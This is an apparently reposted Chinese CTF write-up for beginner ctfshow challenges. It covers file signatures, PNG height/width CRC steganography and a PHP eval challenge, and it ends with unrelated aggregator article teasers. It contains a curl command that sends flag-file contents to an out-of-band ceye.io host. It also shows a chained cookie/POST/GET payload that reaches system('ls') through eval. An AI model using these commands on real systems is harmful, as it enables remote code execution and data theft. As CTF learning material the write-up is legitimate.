ctfshow_CTF_WriteUp |【_新手必刷_菜狗杯】 - Vincent

news/2025/12/3 14:23:25/文章来源:https://www.cnblogs.com/VincentLau/p/19302266

损坏的压缩包

基础知识

常见文件文件头文件尾 https://devtool.tech/filetype

1、图片**

  • JPEG 文件头:FF D8 FF 文件尾:FF D9
  • TGA 未压缩的前4字节 00 00 02 00 RLE压缩的前5字节 00 00 10 00 00
  • PNG 文件头:89 50 4E 47 0D 0A 1A 0A 文件尾:AE 42 60 82
  • GIF 文件头:47 49 46 38 39(37) 61 文件尾:00 3B
  • BMP 文件头:42 4D 文件头标识(2 bytes) 42(B) 4D(M)
  • TIFF (tif) 文件头:49 49 2A 00
  • ico 文件头:00 00 01 00
  • Adobe Photoshop (psd) 文件头:38 42 50 53

2、office文件

  • MS Word/Excel (xls.or.doc) 文件头:D0 CF 11 E0
  • MS Access (mdb) 文件头:53 74 61 6E 64 61 72 64 20 4A
  • WordPerfect (wpd) 文件头:FF 57 50 43
  • Adobe Acrobat (pdf) 文件头:25 50 44 46 2D 31 2E
  • application/vnd.visio(vsd) 文件头:D0 CF 11 E0 A1 B1 1A E1
  • Email [thorough only] (eml) 文件头:44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A
  • Outlook Express (dbx) 文件头:CF AD 12 FE C5 FD 74 6F
  • Outlook (pst) 文件头:21 42 44 4E
  • Rich Text Format (rtf) 文件头:7B 5C 72 74 66
  • txt 文件(txt) 文件头:Unicode:FE FF / Unicode big endian:FF FE / UTF-8:EF BB BF /ANSI编码是没有文件头的

3、压缩包文件

  • ZIP Archive (zip) 文件头:50 4B 03 04 文件尾:50 4B
  • RAR Archive (rar) 文件头:52 61 72 21

4、音频文件

  • Wave (wav) 文件头:57 41 56 45
  • audio(Audio) 文件头: 4D 54 68 64
  • audio/x-aac(aac)
  • 文件头:FF F1(9)

5、视频文件

  • AVI (avi) 文件头:41 56 49 20
  • Real Audio (ram) 文件头:2E 72 61 FD
  • Real Media (rm) 文件头:2E 52 4D 46
  • MPEG (mpg) 文件头:00 00 01 BA(3)
  • Quicktime (mov) 文件头:6D 6F 6F 76
  • Windows Media (asf) 文件头:30 26 B2 75 8E 66 CF 11
  • MIDI (mid) 文件头:4D 54 68 64
  • RIFF()文件头:52 49 46 46

6、代码文件

  • XML (xml) 文件头:3C 3F 78 6D 6C
  • HTML (html) 文件头:68 74 6D 6C 3E
  • Quicken (qdf) 文件头:AC 9E BD 8F
  • Windows Password (pwl) 文件头:E3 82 85 96

7、其他类型

  • windows证书文件(der) 文件头:30 82 03 C9
  • CAD (dwg) 文件头:41 43 31 30
  • Windows Shortcut (lnk) 文件头:4C 00 00 00
  • Windows reg(reg) 文件头:52 45 47 45 44 49 54 34

你会异或吗

脚本目录: D:\PythonProjects\xor_image.py

flag一分为二

基础知识

先分析 png 的文件格式,用 16 进制编辑器 010editor 打开一张正常的 png 图片,逐字节分析如下:

[CTF隐写]png中CRC检验错误的分析

前八个字节 89 50 4E 47 0D 0A 1A 0A 为 png 的文件头,该段格式是固定的

[CTF隐写]png中CRC检验错误的分析

上图中高亮部分称为为 chunk [0] 段,可以分为以下几块:

  • 前四个字节 00 00 00 0D(即为十进制的 13)代表数据块的长度为 13,数据块包含了 png 图片的宽高等信息,该段格式是固定的

  • 之后的四个字节 49 48 44 52(即为 ASCII 码的 IHDR)是文件头数据块的标示,该段格式也是固定的

  • 之后进入 13 位数据块,前 8 个字节 00 00 05 56 00 00 03 00中:

    • 前四个字节 00 00 05 56(即为十进制的 1366),代表该图片的宽,该段数据是由图片的实际宽决定的

    • 后四个字节00 00 03 00(即为十进制的 768),代表该图片的高,该段数据是由图片的实际高度决定的

      [CTF隐写]png中CRC检验错误的分析

      这 8 个字节都属于 13 位数据块的内容,因此数据块应再向后数 5 个字节,即为 00 00 05 56 00 00 03 00 08 02 00 00 00

  • 剩余的 4 位 40 5C AB 95 为该 png 的 CRC 检验码,也就是本篇文章要重点讨论的地方,该段数据是由 IDCH 以及十三位数据块(即上文中的 49 48 44 52 00 00 05 56 00 00 03 00 08 02 00 00 00)计算得到的

  • chunk中数据块的长度(4字节)+IHDR固定标识(4字节)+数据块(长度前面指定,包括图片的宽度和高度)+CRC校验码(4字节)

有了之上的基础知识,再来看大部分 png 中 CRC 检验错误的出题思路:

对一张正常的图片,通过修改其宽度或者高度隐藏信息,使计算出的 CRC 校验码与原图的 CRC 校验码不一致;windows 的图片查看器会忽略错误的 CRC 校验码,因此会显示图片,但此时的图片已经是修改过的,所以会有显示不全或扭曲等情况,借此可以隐藏信息。

而 Linux 下的图片查看器不会忽略错误的 CRC 校验码,因此用 Linux 打开修改过宽或高的 png 图片时,会出现打不开的情况

图片隐写解体方法参考资料:

https://www.mondayice.com/2019/12/24/ctf隐写png中crc检验错误的分析/

https://blog.csdn.net/qiqn0721/article/details/147400663

https://www.cnblogs.com/handsomesnowsword/p/18302560

反弹shell构造

curl 7cux0p.ceye.io -X POST -d "1=cat f*;cat /f*"

image-20251105113414788

web签到

https://www.cnblogs.com/Guanz/p/17909953.html#1---web签到

 <?php
// 注释信息error_reporting(0);        // 关闭错误报告
highlight_file(__FILE__);  // 当前文件高亮显示// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

选择“操作-更改请求方法”,将 get 请求更改为 post 请求:
img

  1. 向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行 Cookie: CTFshow-QQ%E7%BE%A4%3A=a,这一步将 a 作为 cookie 传入“CTFshow-QQ群:”。其中 CTFshow-QQ%E7%BE%A4%3A 是 “CTFshow-QQ群:” 经 URL 编码后的值。需要注意的是 Cookie 行与前面的字段之间不能有空行,否则会被看作 post 请求的参数传入。
  2. _POST 函数收到 _COOKIE 传入的 a 后,将 a 作为变量名接收 post 请求的传参,因此在数据包最后插入一行 a=b 作为 post 请求的参数,这一步将 b 作为参数传入 a。同理,传入的参数需要与前面的字段间留有空行。
  3. _GET 函数收到 _POST 函数传入的 b 后,将 b 作为变量名接收 get 请求的传参,因此在数据包首行 POST / 后插入 ?b=c 作为 get 请求的参数,这一步将 c 作为参数传入 b。
  4. _REQUEST 函数收到 __GET 函数传入的 c 后,将 c 作为变量名接收 get 或 post 请求的传参,这里我们通过 post 请求传参。在第 2 步插入的 a=b 后加入 &c[6][0][7][5][8][0][9][4][4]=system('ls');
  5. eval 函数接收到 system('ls'); 后将字符串按 php 代码执行,对当前目录进行查询。
开始↓
$_COOKIE['CTFshow-QQ群:'] → 值A↓
$_POST['A'] → 值B  ↓
$_GET['B'] → 值C↓
$_REQUEST['C'] → 数组$arr↓
$arr[6][0][7][5][8][0][9][4][4] → 代码字符串↓
eval(代码字符串)↓
结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/985567.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年12月杭州工厂获客服务公司综合推荐指南:十大专业平台解析

随着制造业数字化转型加速,2025年杭州地区工厂获客服务市场呈现快速增长态势。本文基于行业调研数据整理出十家值得关注的获客服务提供商,排名不分先后,仅作参考选择。榜单中的服务商各具特色,企业可根据自身需求进…

第5篇:Alpha阶段Day5冲刺日志

一、站立式会议照片 (注:实际使用时替换为真实照片链接) 二、各成员工作进展 1. 昨天已完成的工作成员 完成工作 对应的Issue链接廖永祺 用户信息管理基础功能开发、权限配置页面接口 https://github.com/team-libr…

第 4 篇:Alpha 阶段 Day4 冲刺日志

一、站立式会议照片 (注:实际使用时替换为真实照片链接) 二、各成员工作进展 1. 昨天已完成的工作成员 完成工作 对应的Issue链接廖永祺 权限控制中间件开发、用户角色权限配置 https://github.com/team-library/pr…

2025年11月留学生回国求职推荐哪家机构?深度测评5大机构与避坑指南

一、 2025 海归求职新常态:核心矛盾已从“学历”转向“技能” 越来越多的留学生发现:回国求职的难点已不只是“竞争激烈”,而是技能与岗位之间的匹配度缺口正在扩大。 根据猎聘《2024 海归人才洞察》最新数据: 痛点…

博士留学机构红榜!学术硬实力才是申请王牌

博士申请的核心是 “学术匹配 + 科研潜力”,比起单纯的品牌名气,能精准对接院校资源、深度打磨科研背景的机构才是真正的靠谱之选。以下盘点 10 家博士留学机构红榜名单,聚焦学术赋能、套磁指导、研究计划优化等核心…

2025食品全自动包装机优质厂家推荐指南

2025食品全自动包装机优质厂家推荐指南 据《2025中国食品包装行业发展白皮书》数据显示,2025年中国食品包装机械市场规模达480亿元,同比增长12.3%,其中全自动包装机需求占比超40%。然而传统设备普遍存在自动化程度低…

Bugku CTF:Crack it[WriteUP] - Vincent

破解shadow文件 /etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。 ┌──(kali㉿kali)-[~] └─$ john shadow Using default input encoding: UTF-8 Loaded 1 password hash (sha512cry…

权威实测|4款抗老面霜横向对比:淡纹、提亮、修护,谁才是全能选手?

步入25+,肌肤老化信号逐渐显现:干纹细纹爬上眼角、苹果肌下垂、肤质粗糙暗沉,叠加秋冬干燥环境影响,肌底水分流失加速,抗老修护需求愈发迫切。据《中国女性抗老护肤消费白皮书》数据显示,超72%的25-45岁女性存在…

2025年商标转让平台怎么选?这3个平台让我省下5万冤枉钱!

去年帮朋友注册商标,他上来就说:“找大平台准没错!” 结果选了个听起来响亮的商标代理机构,前期承诺“100%包过”,结果商标因“近似驳回”,代理费花了1.2万,驳回复审又收8000,最后还是没成功,白扔2万,还耽误…

2025杭州出国留学机构哪家好

2025杭州出国留学机构哪家好一、2025年杭州出国留学机构如何选择?作为从业12年的国际教育规划师,我经常收到杭州学生和家长关于留学机构选择的咨询。在2025年11月28日的当下,留学市场竞争日趋激烈,许多申请人发现难…

2025杭州比较好的留学机构排名

2025杭州比较好的留学机构排名一、2025年杭州留学中介选择指南作为从业十年的国际教育规划师,我经常被杭州学生和家长询问:“如何筛选可靠的留学中介?”这个问题的核心在于平衡机构专业性、本地化服务与个人需求。2…

2025杭州比较好的留学机构

2025杭州比较好的留学机构一、如何筛选杭州本地的优质留学中介作为从业八年的国际教育规划师,我注意到许多杭州学生和家长在咨询时普遍存在一个困惑:面对市场上众多的留学服务机构,如何找到真正适合自己需求且具备本…

CICD工具,Jenkins or Tekton or Arbess一文全面对比评测 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025出国留学中介机构前十名杭州

2025出国留学中介机构前十名杭州一、如何选择杭州的留学中介机构作为从事12年国际教育规划师,我经常收到学生和家长关于如何选择留学中介的咨询。2025年,随着留学政策的变化和申请竞争加剧,许多杭州家庭在搜索引擎上…

商标转让购买平台有哪些?推荐5个靠谱平台,性价比直接拉满!

无论是创业新手注册商标,还是企业收购闲置商标,找到靠谱的交易平台能少走80%的弯路。市面上的商标交易平台鱼龙混杂,有的主打低价却隐藏服务费,有的标榜“全包服务”却效率低下。 今天就来盘一盘5个各有特色的商标…

SQL Server 2025 新功能概览

简介本篇文章不仅仅是针对SQL Server 2025新推出功能的概览,而是从一个一线用户 / DBA 的视角出发,挑出我认为最值得关注的几个变化,有些功能会结合一些我的经验进行描述。本文主要聚焦于SQL Server 2025自身能力的…

shell 常用的通配符和通配符展开机制

shell 常用的通配符和通配符展开机制shell 通配符的作用是路径扩展:也就是把通配符模式扩展为文件系统中实际存在的文件路径。注意:通配符只匹配文件名,不匹配路径内容,而且只能匹配当前目录下的文件名,不能递归子…

2025年高锌层镀铝锌生产厂家权威推荐榜单:梅钢镀铝锌卷板‌/攀钢镀铝锌卷板‌/攀钢镀铝锌‌源头厂家精选

在现代工业制造与建筑领域,高锌层镀铝锌钢材凭借其卓越的耐腐蚀性、优异的热反射性能和良好的加工性,已成为高端彩涂基板、严苛环境建筑围护、高性能家电及光伏支架等领域的核心材料。根据行业数据显示,2025年1-7月…

六、InnoDB引擎-架构-结构 - 指南

六、InnoDB引擎-架构-结构 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&q…

ZYNQ ultrascale RF dataconverter的时钟

1,dac_s_axis_aclk(s_axis_aclk):逻辑电路搬运波形数据,波形数据传输给RFDC的时钟 2,s_axi_aclk PS端控制PL的时钟,连接PS端输出的250Mhz 3,usr_sysref_dac LMK04828输入 4,sysref_in 采样时钟 5,dac2_clk …